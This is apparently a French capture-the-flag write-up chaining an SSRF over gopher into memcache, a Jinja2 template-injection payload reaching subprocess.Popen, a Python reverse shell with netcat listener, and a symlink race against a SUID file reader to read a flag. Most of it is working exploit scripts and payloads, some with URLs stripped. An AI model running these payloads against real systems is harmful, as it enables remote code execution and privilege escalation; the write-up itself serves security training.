Le code source complet de l'application est disponible sur ce gist. Le fonctionnement de l'application peut être déduit rapidement de ce dernier :
  • L'application utilise un cache de type memcache, qui tourne sur le port 11211
  • Les résultats du requêteur sont stockés dans ce cache
  • Les résultats sont accessibles par la suite via une URI présentant un hash de l'URL requêtée
Les fonctions ci-dessous détaillent ce mécanisme :
APP_SECRET = b"s3cr3t_h4shm4c_c0d3" def hash_url(s): return HMAC(APP_SECRET, s.encode("utf8"), md5).hexdigest() def fullscreen(secret): cache_key = hash_url(secret) page_html = cache.get(cache_key) if page_html is None: return abort(404) html = FULLSCREEN_HEADER + page_html + FULLSCREEN_FOOTER css = html_formater.get_style_defs("body") title = secret return render_template_string(html, title=title, css=css) def fetch_and_store(url, refresh): """ fetch and store url into cache return secret """ secret = hash_url(url) cache_key = hash_url(secret) if not refresh and cache.get(cache_key) is not None: return secret raw_html = fetch(url) if not raw_html: raw_html = ":: Empty response ::" html = highlight_file(raw_html) cache.set(cache_key, html) return secret

On obtient notamment l'égalité suivante : 
memcache_storage_name = hash_url( cache_uri ) = hash_url( hash_url( user_url ) )

Etape 2 : Injection memcache et RCE Python

La vulnérabilité de type Server-Side Request Forgery (SSRF) permet notamment d'interagir avec le protocole Gopher. Ce dernier permet d'échanger sous un format brut avec un service en écoute sur un port, par exemple pour envoyer une requête HTTP :

Ce protocole nous permet donc d'échanger directement avec le serveur memcache, puisque memcache utilise un protocole en clair, sous le format suivant :
set <storage_location> <flags> <timeout> <nb_bytes> <data>

Le script suivant permet d'envoyer des données au serveur memcache puis de récupérer le résultat de l'exécution :
#!/usr/bin/python import requests import sys import time from hmac import HMAC from hashlib import md5 APP_SECRET = "s3cr3t_h4shm4c_c0d3" def hash_url(s): return HMAC(APP_SECRET, s.encode("utf8"), md5).hexdigest() def getUrl(url): r ='', data={'url': url}) line = [e for e in r.text.splitlines() if '<iframe' in e][0] src = line.split('"')[1] r = requests.get('' + src) return r.text def encode(s): return ''.join([('%' + c.encode('hex')) for c in list(s)]) def memcached(pay): page = md5(str(time.time())).hexdigest() payload = '_\r\n' payload+= 'set %s 0 0 %d\r\n' % (hash_url(page), len(pay)) payload+= '%s\r\n' % pay payload+= 'quit\r\n' getUrl('gopher://memcached:11211/%s' % encode(payload)) r = requests.get('' % page) ret = r.text return ret.split('<body>')[1].split('</body>')[0] print memcached(sys.argv[1])
Il est possible d'injecter du code Python au travers d'une vulnérabilité de type Server-Side Template Injection (SSTI) dans le moteur de templating Jinja2 :
{{ 7*7 }} => 49 {{ '7'*7 }} => 7777777
L'exécution de code sur le serveur repose sur la découverte de la classe subprocess.Popen au sein des variables accessibles dans l'environnement Python :
{{ "" }} "" {{ "".__class__ }} <class "str"> {{ "".__class__.__mro__ }} (<class "str">, <class "object">) {{ "".__class__.__mro__[1] }} <class "object"> {{ "".__class__.__mro__[1].__subclasses__() }} [<class "type">, <class "weakref">, <class "weakcallableproxy">, ...] {{ "".__class__.__mro__[1].__subclasses__()[250] }} <class "subprocess.Popen">
Il est alors possible d'exécuter un reverse-shell pour obtenir un accès console au serveur. Pour rappel, la commande suivante permet d'obtenir un shell plus friendly rapidement :
iansus @ $ python >>> import attack >>> attack.memcached('{{ "".__class__.__mro__[1].__subclasses__()[250](["python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"\\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\\"/bin/sh\\",\\"-i\\"]);\'"], shell=True, stdout=-1, stderr=-1).communicate() }}') iansus @ $ nc -lvp 444 $ python -c 'import pty; pty.spawn("/bin/bash");' nobody@6a3165363d68:/usr/src/app$

Etape 3 : TOCTOU 4 the win!

Une fois en accès console sur le serveur, force est de constater que l'utilisateur courant dispose de peu de privilège. Notamment, le fichier contenant le flag ne peut pas être lu directement :
nobody@6a3165363d68:/usr/src/app$ ls -l ls -l total 52 -rwsr-sr-x 1 flag flag 17232 Jun 26 15:15 file_reader -rw-r--r-- 1 root root 1255 Jun 26 15:14 file_reader.c -rw------- 1 flag flag 131 Jun 26 14:23 flag.txt -rw-r--r-- 1 root root 4524 Jun 28 08:32 -rw-r--r-- 1 root root 88 Jun 28 11:18 memecached -rw-r--r-- 1 root root 81 Jun 26 21:36 requirements.txt drwxr-xr-x 3 root root 4096 Jun 26 15:02 static drwxr-xr-x 2 root root 4096 Jun 26 17:00 templates

Un utilitaire SUID nommé file_reader peut permettre d'accomplir cette tâche. Le code source est fourni et est disponible sur ce gist. La portion de code suivante est d'intérêt :
// ... int file_belong_to_user(const char *filename) { struct stat path_stat; stat(filename, &path_stat); return (path_stat.st_uid == getuid()) && (path_stat.st_gid == getgid()) ; } // ... void read_file(const char *filename){ int fd = open(filename, O_RDONLY); if (fd < 0){ die("Unable to open \"%s\"\n", filename); } sendfile(fileno(stdout), fd, 0, get_file_size((filename))); } int main(const int argc, const char **argv){ if (argc < 2){ die("Usage: ./file_reader FILENAME...\n"); } for (int x = 0; x < argc - 1; ++x){ const char *filename = argv[x + 1]; if (!file_belong_to_user(filename)){ die("[ERROR] \"%s\" does not belong to you.\n", filename); } } for (int x = 0; x < argc - 1; ++x){ const char *filename = argv[x + 1]; read_file(filename); } return 0; }

Il s'agit ici d'une race condition, puisque les droits d'accès aux fichiers passés en arguments sont vérifiés avant l'accès effectif à ces fichiers.
En sélectionnant un fichier volumineux, l'envoi à l'utilisateur consomme un temps non négligeable, suffisant pour exploiter la vulnérabilité Time Of Check to Time Of Use (TOCTOU). Le script bash suivant permet de réaliser cet exploit :
#!/bin/bash mkdir /tmp/iansus chmod 777 /tmp/iansus python -c 'print("a"*20*1000*1000)' > /tmp/iansus/bigfile rm -f /tmp/iansus/my_file /tmp/iansus/link echo lolilol > /tmp/iansus/my_file chmod 777 /tmp/iansus/my_file ln -sf /tmp/iansus/my_file /tmp/iansus/link ./file_reader /tmp/iansus/bigfile /tmp/iansus/link & rm /tmp/iansus/link ln -sf /usr/src/app/flag.txt /tmp/iansus/link

Merci à YesWeHack pour la place !